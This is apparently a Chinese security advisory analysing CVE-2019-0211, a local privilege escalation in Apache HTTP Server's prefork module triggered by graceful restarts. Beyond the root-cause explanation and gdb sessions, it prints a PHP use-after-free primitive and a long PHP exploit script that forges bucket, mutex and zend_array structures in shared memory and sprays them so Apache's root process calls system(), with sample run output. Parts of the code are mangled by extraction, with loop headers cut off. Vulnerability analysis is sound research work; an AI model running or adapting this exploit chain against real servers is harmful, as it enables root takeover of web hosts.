CVE-2019-0211:Apache HTTP服務組件提權漏洞分析

CVE-2019-0211:Apache HTTP服務組件提權漏洞分析

報告編號:B6-2019-040904

更新日期:2019-04-09

0x00 介紹

從2.4.17到 2.4.28版本,Apache HTTP 發現存在本地提權漏洞,原因是數組訪問越界導致任意函數調用。該漏洞由Apache的優雅重啟導致(apache2ctl graceful).在標準Linux配置中,logrotate實用程序每天上午6:25運行此命令一次,以便重置日誌文件句柄。

該漏洞影響mod_prefork,mod_worker和mod_event。下面演示以mod_prefork為主。

0x01 漏洞描述

多處理模塊(MPM),prefork模型中,主服務進程以root權限模式運行,管理一個單線程,低權限(www-data)工作進程池,用於處理HTTP請求。

├─httpd(11666)─┬─httpd(12300)
│ ├─httpd(12301)
│ ├─httpd(12302)
│ ├─httpd(12303)
│ └─httpd(12304)
root 11666 0.0 0.3 272128 12944 ? Ss 15:01 0:00 /usr/local/httpd//bin/httpd -k restart
www 12300 0.0 0.2 274344 9336 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12301 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12302 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12303 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12304 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart

為了從工作進程那裡獲得反饋,Apache維護了一個共享內存區域(SHM),scoreboard,它包含各種信息,例如工作進程PID和他們處理的最後一個請求。

每個工作進程都要維護與其PID相關聯的process_score結構,並具有對SHM的完全讀/寫訪問權限。

ap_scoreboard_image: 指向共享內存塊的指針

(gdb) p *ap_scoreboard_image 
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

與工作進程PID 12300關聯的共享內存示例

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 12300,
generation = 0,
quiescing = 0 '\000',
not_accepting = 0 '\000',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 }
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; }

當Apache優雅重啟時(),他的主服務進程殺死所有老的工作進程並用新的工作進程代替。

[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13012 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15687 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15688 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15689 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15690 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15691 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
root 15904 0.0 0.0 112712 980 pts/0 S+ 17:53 0:00 grep --color=auto http
[root@bogon john]# apachectl graceful
[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13024 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15945 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15946 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15947 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15948 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15949 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
root 15951 0.0 0.0 112712 976 pts/0 S+ 17:53 0:00 grep --color=auto http
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; }
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); ...
}

由於優雅重啟,老的工作進程的bucket值會被主服務進程用來訪問all_buckets數組.又由於沒有進行下標檢查,從而會造成提權。

0x02 原理分析

1.惡意用戶首先修改bucket,並使其指向惡意構造的prefork_child_bucket結構(共享內存中)。

2.優雅重啟

主服務進程會殺死以前所有的工作進程,然後調用prefork_run,fork出新的工作進程

<server>
//省略無關的部分
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
int index;
int remaining_children_to_start;
int i;
ap_log_pid(pconf, ap_pid_fname);
if (!retained->mpm->was_graceful) {//跳過,因為優雅啟動時,was_graceful為true
if (ap_run_pre_mpm(s->process->pool, SB_SHARED) != OK) {
retained->mpm->mpm_state = AP_MPMQ_STOPPING;
return !OK;
}
/* fix the generation number in the global score; we just got a new,
* cleared scoreboard
*/
ap_scoreboard_image->global->running_generation = retained->mpm->my_generation;
}
...
if (!retained->mpm->was_graceful) {
startup_children(remaining_children_to_start);
remaining_children_to_start = 0;
}
...
while (!retained->mpm->restart_pending && !retained->mpm->shutdown_pending) {
...
ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);//獲取被殺死的工作進程的PID
...
if (pid.pid != -1) {
processed_status = ap_process_child_status(&pid, exitwhy, status);
child_slot = ap_find_child_by_pid(&pid);//獲取PID對應於計分板中對應parent的下標

...
/* non-fatal death... note that it's gone in the scoreboard. */
if (child_slot >= 0) {
(void) ap_update_child_status_from_indexes(child_slot, 0, SERVER_DEAD,
(request_rec *) NULL);
prefork_note_child_killed(child_slot, 0, 0);
if (processed_status == APEXIT_CHILDSICK) {
/* child detected a resource shortage (E[NM]FILE, ENOBUFS, etc)
* cut the fork rate to the minimum
*/
retained->idle_spawn_rate = 1;
}
else if (remaining_children_to_start
&& child_slot < ap_daemons_limit) {//如果工作進程的死亡不是致命的
/* we're still doing a 1-for-1 replacement of dead
* children with new children
*/
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);//則將死亡的工作進程的bucket作為參數傳遞(注意:bucket我們可以用“非常規手段”進行修改,從而提權)
--remaining_children_to_start;
}
}
}
return OK;
}
/<server>

make_child:

static int make_child(server_rec *s, int slot, int bucket)
{
...
if (!pid) {
my_bucket = &all_buckets[bucket];//使my_bucket指向共享內存中的到惡意構造的prefork_child_bucket結構
...
child_main(slot, bucket);
...
return 0;
}
static void child_main(int child_num_arg, int child_bucket)
{
...
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,

apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));//如果Apache偵聽兩個或更多端口,則SAFE_ACCEPT(<code>)將僅執行<code>(這通常是因為服務器偵聽HTTP(80)和HTTPS(443))
...
}
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
/<code>/<code>

如果apr_proc_mutex_child_init執行,這導致(* mutex) - > meth-> child_init(mutex,pool,fname)被調用,從而執行惡意代碼(注意,執行惡意代碼的時候,進程仍然處於root權限,後面才降低自身的權限)。

0x03 通過gdb惡意修改bucket值造成的崩潰

(gdb) 
716 child_main(slot, bucket);
(gdb) s
child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=80808080) at prefork.c:380
380 {
(gdb) n
..........
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x000000000046c16b in child_main (child_num_arg=child_num_arg@entry=0,
child_bucket=child_bucket@entry=80808080) at prefork.c:432
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,

0x04 利用

利用分4個步驟

  • 獲得工作進程的R/W訪問權限
  • 在共享內存中寫一個假的prefork_child_bucket結構
  • 使all_buckets [bucket]指向該結構
  • 等待早上6:25獲得任意函數調用

問題:PHP不允許讀寫/proc/self/mem, 這會阻止我們利用簡單方法編輯共享內存

獲取工作進程內存的R/W訪問權限

PHP UAF 0-day

由於mod_prefork經常與mod_php結合使用,因此通過PHP利用漏洞似乎很自然。我們使用PHP 7.x中的0day UAF(這似乎也適用於PHP5.x)來完成利用(也可以利用CVE-2019-6977)

class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();

這是PHP對象上的UAF: 我們unset $y[0](X的一個實例),但它仍然可以通過$this使用。

UAF導致讀/寫

我們希望實現兩件事:

  • 讀取內存以查找all_buckets的地址
  • 編輯共享內存,修改bucket,添加我們自定義的惡意結構

幸運的是,PHP的堆位於內存中的那兩個之前。

PHP堆,ap_scoreboard_image,all_buckets的內存地址

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

由於我們在PHP對象上觸發UAF,因此該對象的任何屬性也將是UAF; 我們可以將這個zend_object UAF轉換為zend_string。因為zend_string的結構非常有用:

(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;

char val[1];
}

len屬性包含字符串的長度。 通過遞增它,我們可以在內存中進一步讀寫,從而訪問我們感興趣的兩個內存區域:共享內存和all_buckets。

定位bucket index 和 all_buckets

我們需要修改ap_scoreboard_image->parent[worker_id]->bucket中的parent結構中的bucket。幸運的是,parent結構總是處於共享內存塊的開始,因此很容易找到:

➜ /www curl 127.0.0.1
PID: 14380
7f8a19da9000-7f8a19dc1000 rw-s 00000000 00:04 61736 /dev/zero (deleted)
➜ /www
(gdb) p &ap_scoreboard_image->parent[0]
$1 = (process_score *) 0x7f8a19da9040
(gdb) p &ap_scoreboard_image->parent[1]
$2 = (process_score *) 0x7f8a19da9064
(gdb)

為了定位到all_buckets,我們可以利用我們對prefork_child_bucket結構的瞭解:

prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; }
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);

apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}

all_buckets[0]->mutex 與 all_buckets[0] 位於同一個內存區域中(我的是第一個heap內存區域中)。apr_proc_mutex_unix_lock_methods_t是一個靜態結構,位於libapr的.data,因此meth指針指向libapr中的data段中,且apr_proc_mutex_unix_lock_methods_t結構中的函數,位於libapr中的text段中。

由於我們可以通過/proc/self/maps來了解這些內存區域,我們可以遍歷Apache內存中的每一個指針,找到一個匹配該結構的指針,這將是all_buckets [0]。

注意,all_buckets的地址在每次正常重啟時都會發生變化。這意味著當我們的漏洞觸發時,all_buckets的地址將與我們找到的地址不同。 必須考慮到這一點; 我們稍後會解決該問題。

向共享內存中寫入惡意prefork_child_bucket結構

任意函數調用的代碼路徑如下

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
CVE-2019-0211:Apache HTTP服務組件提權漏洞分析

為了利用,我們使(mutex)->meth->child_init指向zend_object_std_dtor(zend_object object),這產生以下鏈:

mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)

pDestructor 使其指向system函數,&ht->arData[0]->val為system函數的字符串。

CVE-2019-0211:Apache HTTP服務組件提權漏洞分析

如我們所見,兩個最左邊的兩個結構是可以疊加的(prefork_child_bucket,zend_object結構)。

使all_buckets [bucket]指向惡意構造的結構

由於all_buckets地址在每次優雅重啟之後會改變,我們需要對其進行改進,有兩種改進:噴射共享內存和使用每個process_score結構。

噴射共享內存

如果all_buckets的新地址離舊地址不遠,my_bucket將會大概指向我們的結構。因此,我們可以將其全部噴射在共享內存的未使用部分上,而不是將我們的prefork_child_bucket結構放在共享內存的精確位置。但是問題是,該結構也用於作為zend_object結構,因此它的大小為(5 * 8)40個字節以包含zend_object.properties字段。在共享內存中,噴射該混合結構,對我們沒有幫助。

為了解決該問題,我們疊加apr_proc_mutex_t和zend_array結構,並將其地址噴灑在共享內存的其餘部分。影響將是prefork_child_bucket.mutex和zend_object.properties指向同一地址。 現在,如果all_bucket重新定位沒有遠離其原始地址,my_bucket將位於噴射區域。

CVE-2019-0211:Apache HTTP服務組件提權漏洞分析

使用每個process_score結構

每個Apache工作進程都有一個關聯的process_score結構,並且每一個都有一個bucket索引。我們可以改變它們中的每一個,而不是改變一個process_score.bucket值,以使它們覆蓋內存的另一部分。 例如:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

這樣一來,我們的成功率就是原始成功率乘以Apache Worker的數量。 作者通過在共享內存中查找worker process的PID從而定位到每個process_score結構,並利用被UAF漏洞修改過的字符串結構對bucket字段值進行修改。

成功率

不同的Apache服務具有不同數量的工作進程。 擁有更多的工作進程意味著我們可以在更少的內存上噴射互斥鎖的地址,但這也意味著我們可以為all_buckets指定更多的索引。 這意味著擁有更多工作進程可以提高我們的成功率。 在測試Apache服務器上嘗試了4個工作進程(默認)後,成功率大約為80%。 隨著更多工作進程,成功率躍升至100%左右。

同樣,如果漏洞利用失敗,它可以在第二天重新啟動,因為Apache仍將正常重啟。 然而,Apache的error.log將包含有關其工作進程段錯誤的通知。

0x05 利用PHP擴展模塊體驗任意函數執行

為了更好的理解該漏洞,我們用PHP擴展,來模擬PHP UAF,以達到任意地址讀寫。

環境

操作系統:CentOS 7 x64

Apache版本:Apache/2.4.38 (Unix)

PHP版本:PHP 7.3.3

Apache 編譯選項:

./configure --prefix=/usr/local/httpd/ \
--sysconfdir=/etc/httpd/ \
--with-include-apr \
--disable-userdir \
--enable-headers \
--with-mpm=prefork \
--enable-modules=most \
--enable-so \
--enable-deflate \
--enable-defate=shared \
--enable-expires-shared \
--enable-rewrite=shared \
--enable-static-support \
--with-apr=/usr/local/apr/ \
--with-apr-util=/usr/local/apr-util/bin \
--with-ssl \
--with-z

PHP編譯選項:

./configure --prefix=/usr/local/php/ \
--with-config-file-path=/usr/local/php/etc/ \
--with-apxs2=/usr/local/httpd/bin/apxs \
--enable-fpm \
--with-zlib \
--with-libxml-dir \
--enable-sockets \
--with-curl \

--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-iconv-dir \
--with-freetype-dir \
--enable-gd-native-ttf \
--with-xmlrpc \
--with-openssl \
--with-mhash \
--with-mcrypt \
--with-pear \
--enable-mbstring \
--enable-sysvshm \
--enable-zip \
--disable-fileinfo

PHP擴展

[root@bogon php-extension]# cat read_mem.c 
#include <stdio.h>
#include <stdint.h>
long read_mem(long addr)
{
return (unsigned long)(*((uint8_t*)(addr)));
}
[root@bogon php-extension]# cat write_mem.c
#include <stdio.h>
#include <stdint.h>
void write_mem(long addr,long data)
{
*((uint8_t*)addr) = data;
}
[root@bogon php-extension]#
/<stdint.h>/<stdio.h>/<stdint.h>/<stdio.h>

問題

我在Apache 2.4.38 與 Apache 2.4.25中,測試發現all_buckets的地址與共享內存的地址之間的差值,遠遠不是一個4字節能表示的(bucket索引4字節)。所以在我的演示中,需要通過gdb來修改

my_bucket = &all_buckets[bucket];//prefork.c:685

my_bucket的值,來模擬修改bucket,使其指向惡意的prefork_child_bucket結構。

PHP利用代碼

function read_mem_dword($addr)
{
$ret = 0;
for($j = 0;$j<4;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_qword($addr)
{
$ret = 0;
for($j = 0;$j<8;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_byte($addr)
{
return read_mem($addr);
}
function write_mem_qword($addr,$data)
{
for($j=0;$j<8;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_dword($addr,$data)
{
for($j=0;$j<4;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_byte($addr,$data)
{
write_mem($addr,$data);
}
/*
get_mem_region:
str為,maps文件中的特徵字符串,用於搜索指定的內存區域
返回值為:

array(2) {
[0]=>//第一個匹配的內存區域
array(2) {
[0]=>
int(140231115968512)//起始地址
[1]=>
int(140231116066816)//結束地址
[2]=>
string(4) "rw-s"//保護權限
}
[1]=>//第二個匹配的內存區域
array(2) {
[0]=>
int(140231116201984)
[1]=>
int(140231116718080)
[2]=>
string(4) "rw-s"//保護權限
}
}
*/
function get_mem_region($str)
{
$file = fopen("/proc/self/maps","r");
$result_index = 0;
$result = array();
while(!feof($file)){
$line = fgets($file);
if(strpos($line,$str)){
$addr_len = 0;
for(;$line[$addr_len]!='-';$addr_len++);
$start_addr_str = substr($line,0,$addr_len);
$end_addr_str = substr($line,$addr_len+1,$addr_len);
$result[$result_index][0] = hexdec($start_addr_str);
$result[$result_index][1] = hexdec($end_addr_str);
$result[$result_index][2] = substr($line,$addr_len*2+2,4);
$result_index++;
}
}
fclose($file);
return $result;
}
function locate_parent_arr_addr()//獲取共享內存中,parent數組的首地址
{
$my_pid = getmypid();

$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//parent數組項的大小是,每個0x20個字節
//pid_t在我環境中,大小4字節
$pid_t_size = 4;
$parent_size = 0x24;
//只檢查共享內存的前0x1000字節(4KB)
for($i = 0;$i<0x1000;$i++){
$hit_count = 0;
for($j = 0;$j<5;$j++){//循環次數,請參考httpd-mpm.conf中的prefork的MinSpareServers
$pid = read_mem_dword($shm_region[0][0]+ $i + $j*$parent_size);
if( $my_pid - 20 < $pid && $pid < $my_pid+20){//因為prefork中,進程的pid是緊挨的,我們可以通過這個來判斷是否是parent數組的首地址
$hit_count++;
}
}
if($hit_count == 5){
return $shm_region[0][0]+$i;
}
}
return 0;
}
function locate_self_parent_struct_addr()//獲取共享內存中,當前parent的首地址
{
$my_pid = getmypid();
$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//因為parent數組,總是位於第一個/dev/zero中,所以,我們只搜索第一個
echo "/dev/zero start addr:0x".dechex($shm_region[0][0])."\n";
echo "/dev/zero end addr:0x".dechex($shm_region[0][1])."\n";
for($i =0;$i<4096;$i++){
$pid = read_mem_dword($shm_region[0][0]+$i);//pid_t在我的環境中,為4字節大小
if($pid == $my_pid){
return $shm_region[0][0]+$i;//找到直接返回
}
}

return 0;
}
//獲取all_buckets的地址
function locate_all_buckets_addr()
{
$heap_region = get_mem_region("heap");//在我的環境中,all_bucket位於第一個heap中
$libapr_region = get_mem_region("libapr-");
if(!count($heap_region) || !count($libapr_region))
return 0;
$heap_start_addr = $heap_region[0][0];
$heap_end_addr = $heap_region[0][1];
echo "heap start addr:0x".dechex($heap_start_addr)."\n";
echo "heap end addr:0x".dechex($heap_end_addr)."\n";
$libapr_text_start_addr = 0;
$libapr_data_start_addr = 0;
$libapr_text_end_addr = 0;
$libapr_data_end_addr = 0;
for($i = 0;$i<count> if($libapr_region[$i][2] === "r-xp"){//代碼段
$libapr_text_start_addr = $libapr_region[$i][0];
$libapr_text_end_addr = $libapr_region[$i][1];
continue;
}
if($libapr_region[$i][2] === "r--p"){//const data
$libapr_data_start_addr = $libapr_region[$i][0];
$libapr_data_end_addr = $libapr_region[$i][1];
continue;
}
}
echo "libapr text start addr:0x".dechex($libapr_text_start_addr)."\n";
echo "libapr text end addr:0x".dechex($libapr_text_end_addr)."\n";
echo "libapr data start addr:0x".dechex($libapr_data_start_addr)."\n";
echo "libapr data end addr:0x".dechex($libapr_data_end_addr)."\n";
$result = array();
$result_index = 0;
for($i = 0;$i $mutex_addr = read_mem_qword($heap_start_addr + $i);//prefork_child_bucket中的mutex
if( $heap_start_addr $meth_addr = read_mem_qword($mutex_addr + 8);//apr_proc_mutex_t中的meth
if( $libapr_data_start_addr < $meth_addr && $meth_addr < $libapr_data_end_addr){
$function_point = read_mem_qword($meth_addr+8);
if($libapr_text_start_addr < $function_point && $function_point < $libapr_text_end_addr){
$result[$result_index++] = $heap_start_addr + $i - 8 -8;
}
}
}
}
//在我的環境中,有多個地址滿足是all_buckets 地址的要求,但是隻有第3個才是正確的

if( count($result)!= 4 ){
return 0;
}
else{
return $result[2];
}
}
echo "PID: ".getmypid()."\n";
$parent_struct_addr = locate_self_parent_struct_addr();
if($parent_struct_addr == 0){
die("get self parent struct addr error\n");
}
echo "self parent struct addr:0x".dechex($parent_struct_addr)."\n";
$parent_arr_addr = locate_parent_arr_addr();
if($parent_arr_addr){
echo "parent arr addr:0x".dechex($parent_arr_addr)."\n";
}
$all_buckets_addr = locate_all_buckets_addr();
if($all_buckets_addr == 0){
die("get all_buckets addr error\n");
}
echo "all_buckets addr:0x".dechex($all_buckets_addr)."\n";
$evil_parent_start_addr = $parent_arr_addr + 0x24 * 10;//(我這裡的parent 就是 prefork_child_bucket結構,0x24是每個prefork_child_bucket的大小,10參考http-mpm.conf中prefork的MaxSpareServers)
echo "evil prefork_child_bucket start addr:0x".dechex($evil_parent_start_addr)."\n";
//我們需要將prefork_child_bucket與zend_object結合,使其包含zend_object 的 properties字段,因此prefork_child_bucket的"大小"是40+16字節
$evil_parent_end_addr = $evil_parent_start_addr + 40+16;
echo "evil prefork_child_bucket end addr:0x".dechex($evil_parent_end_addr)."\n";
//將apr_proc_mutex_t結構與zend_array結構結合為一個結構
$evil_zend_array_start_addr = $evil_parent_end_addr;
echo "evil zend_array start addr:0x".dechex($evil_zend_array_start_addr)."\n";
$evil_zend_array_end_addr = $evil_zend_array_start_addr + 0x38;
echo "evil zend_array end addr:0x".dechex($evil_zend_array_end_addr)."\n";
//apr_proc_mutex_unix_lock_methods_t結構
$evil_mutex_methods_start_addr = $evil_zend_array_end_addr;
$evil_mutex_methods_end_addr = $evil_mutex_methods_start_addr + 0x50;
echo "evil mutex_methods start addr:0x".dechex($evil_mutex_methods_start_addr)."\n";
echo "evil mutex_methods end addr:0x".dechex($evil_mutex_methods_end_addr)."\n";
//system()中的字符串
$evil_string = "touch /hello";
$evil_string_len = strlen($evil_string)+1;//\0結尾
if($evil_string_len%8){//對齊
$evil_string_len = ((int)($evil_string_len/8)+1)*8;
}
echo "evil string: ".$evil_string." len:".$evil_string_len."\n";

$evil_string_start_addr = $evil_mutex_methods_end_addr;
$evil_string_end_addr = $evil_string_start_addr + $evil_string_len;
echo "evil string start addr:0x".dechex($evil_string_start_addr)."\n";
echo "evil string end addr:0x".dechex($evil_string_end_addr)."\n";
//查找zend_object_std_dtor的地址(我的在libphp7.so)
$zend_object_std_dtor_addr = 0;
$libphp_region = get_mem_region("libphp");
if(!count($libphp_region)){
die("can't find zend_object_std_dtor function addr\n");
}
for($i = 0;$i<count> if($libphp_region[$i][2] === "r-xp"){
$zend_object_std_dtor_addr = $libphp_region[$i][0]+0x4F8300;//zend_object_std_dtor 在libphp7.so代碼段中的偏移
break;
}
}
if($zend_object_std_dtor_addr === 0){
die("can't find zend_object_std_dtor function addr\n");
}
echo "zend_object_std_dtor function addr:0x".dechex($zend_object_std_dtor_addr)."\n";
//查找system函數的地址(在libpthread中)
$system_addr = 0;
$pthread_region = get_mem_region("pthread");
if(!count($pthread_region)){
die("can't find system function addr\n");
}
for($i = 0;$i<count> if($pthread_region[$i][2] === "r-xp"){
$system_addr = $pthread_region[$i][0]+0xF4C0;//system 在libpthread-2.17.so代碼段中的偏移
break;
}
}
if($system_addr === 0){
die("can't find system function addr\n");
}
echo "system function addr:0x".dechex($system_addr)."\n";
//將apr_proc_mutex_unix_lock_methods_t中的child_init改為zend_object_std_dtor
$child_init = $evil_mutex_methods_start_addr+0x30;
echo "child_init(0x".dechex($child_init).") => zend_object_std_dtor\n";
write_mem_qword($evil_mutex_methods_start_addr+0x30,$zend_object_std_dtor_addr);
//將混合結構zend_array的pDestructor指向system
$pDestructor = $evil_zend_array_start_addr + 0x30;
echo "pDestructor(0x".dechex($pDestructor).") => system\n";
write_mem_qword($pDestructor,$system_addr);
//將混合結構zend_array的meth指向apr_proc_mutex_unix_lock_methods_t
$meth = $evil_zend_array_start_addr + 0x8;
echo "meth(0x".dechex($meth).") => mutex_mthods_struct\n";

write_mem_qword($meth,$evil_mutex_methods_start_addr);
write_mem_qword($evil_zend_array_start_addr,0x1);
//將prefork_child_bucket中的mutex指向混合結構zend_array
$mutex = $evil_parent_start_addr + 0x10;
echo "mutex(0x".dechex($mutex).") => zend_array struct\n";
write_mem_qword($mutex,$evil_zend_array_start_addr);
//將混合結構prefork_child_bucket中的properties指向zend_array結構
$properties = $evil_parent_start_addr + 0x20+0x10;
echo "properties(0x".dechex($properties).") => zend_array struct\n";
write_mem_qword($properties,$evil_zend_array_start_addr);
//system 字符串 寫入
for($i = 0;$i<strlen> $b = ord($evil_string[$i]);
write_mem($evil_string_start_addr+$i,$b);
}
write_mem($evil_string_start_addr+$i,0);
//將zend_array中的arData指向system字符串
$ar_data = $evil_zend_array_start_addr + 0x10;
echo "ar_data(0x".dechex($ar_data).") => evil string\n";
write_mem_qword($ar_data,$evil_string_start_addr);
//將zend_array中的nNumUsed設置為1,(自行分析代碼去)
$nNumUsed = $evil_zend_array_start_addr + 0x18;
write_mem_qword($nNumUsed,1);
//堆噴
echo "\nSpraying the shared memory start\n\n";
$shm_region = get_mem_region("/dev/zero");
$evil_shm_start_addr = $evil_string_end_addr;
$evil_shm_end_addr = $shm_region[0][1];
$evil_shm_size = $evil_shm_end_addr - $evil_shm_start_addr;
$evil_shm_mid_addr = $evil_shm_start_addr + 8*((int)(((int)($evil_shm_size/2))/8) + 1);
echo "evil_shm_start:0x".dechex($evil_shm_start_addr)."\n";
echo "evil_shm_end:0x".dechex($evil_shm_end_addr)."\n";
echo "evil_shm_size:".dechex($evil_shm_size)."\n";
for($i = 0;$i write_mem_qword($evil_shm_start_addr+$i,$evil_zend_array_start_addr);
}
echo "evil_shm_mid_addr:0x".dechex($evil_shm_mid_addr)."\n";
echo "bucket:".dechex($bucket)."\n";
?>
/<strlen>/<count>/<count>/<count>

利用成功時,會在根目錄下,創建hello文件

步驟

根目錄顯示

➜ ~ ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www

讓服務器執行惡意php代碼

➜ ~ curl 127.0.0.1
PID: 19896
/dev/zero start addr:0x7f1f62a32000
/dev/zero end addr:0x7f1f62a4a000
self parent struct addr:0x7f1f62a32040
parent arr addr:0x7f1f62a32040
heap start addr:0xf59000
heap end addr:0x1022000
libapr text start addr:0x7f1f61ffa000
libapr text end addr:0x7f1f6202f000
libapr data start addr:0x7f1f6222e000
libapr data end addr:0x7f1f6222f000
all_buckets addr:0xff0c18
evil prefork_child_bucket start addr:0x7f1f62a321a8
evil prefork_child_bucket end addr:0x7f1f62a321e0
evil zend_array start addr:0x7f1f62a321e0
evil zend_array end addr:0x7f1f62a32218
evil mutex_methods start addr:0x7f1f62a32218
evil mutex_methods end addr:0x7f1f62a32268
evil string: touch /hello len:16
evil string start addr:0x7f1f62a32268
evil string end addr:0x7f1f62a32278
zend_object_std_dtor function addr:0x7f1f5c03d300
system function addr:0x7f1f617a94c0
child_init(0x7f1f62a32248) => zend_object_std_dtor
pDestructor(0x7f1f62a32210) => system
meth(0x7f1f62a321e8) => mutex_mthods_struct
mutex(0x7f1f62a321b8) => zend_array struct
properties(0x7f1f62a321d8) => zend_array struct
ar_data(0x7f1f62a321f0) => evil string
Spraying the shared memory start
evil_shm_start:0x7f1f62a32278
evil_shm_end:0x7f1f62a4a000
evil_shm_size:17d88
evil_shm_mid_addr:0x7f1f62a3e140
bucket:fe3ec349aa5

此時,共享內存中,已經被我們的惡意數據給填充。

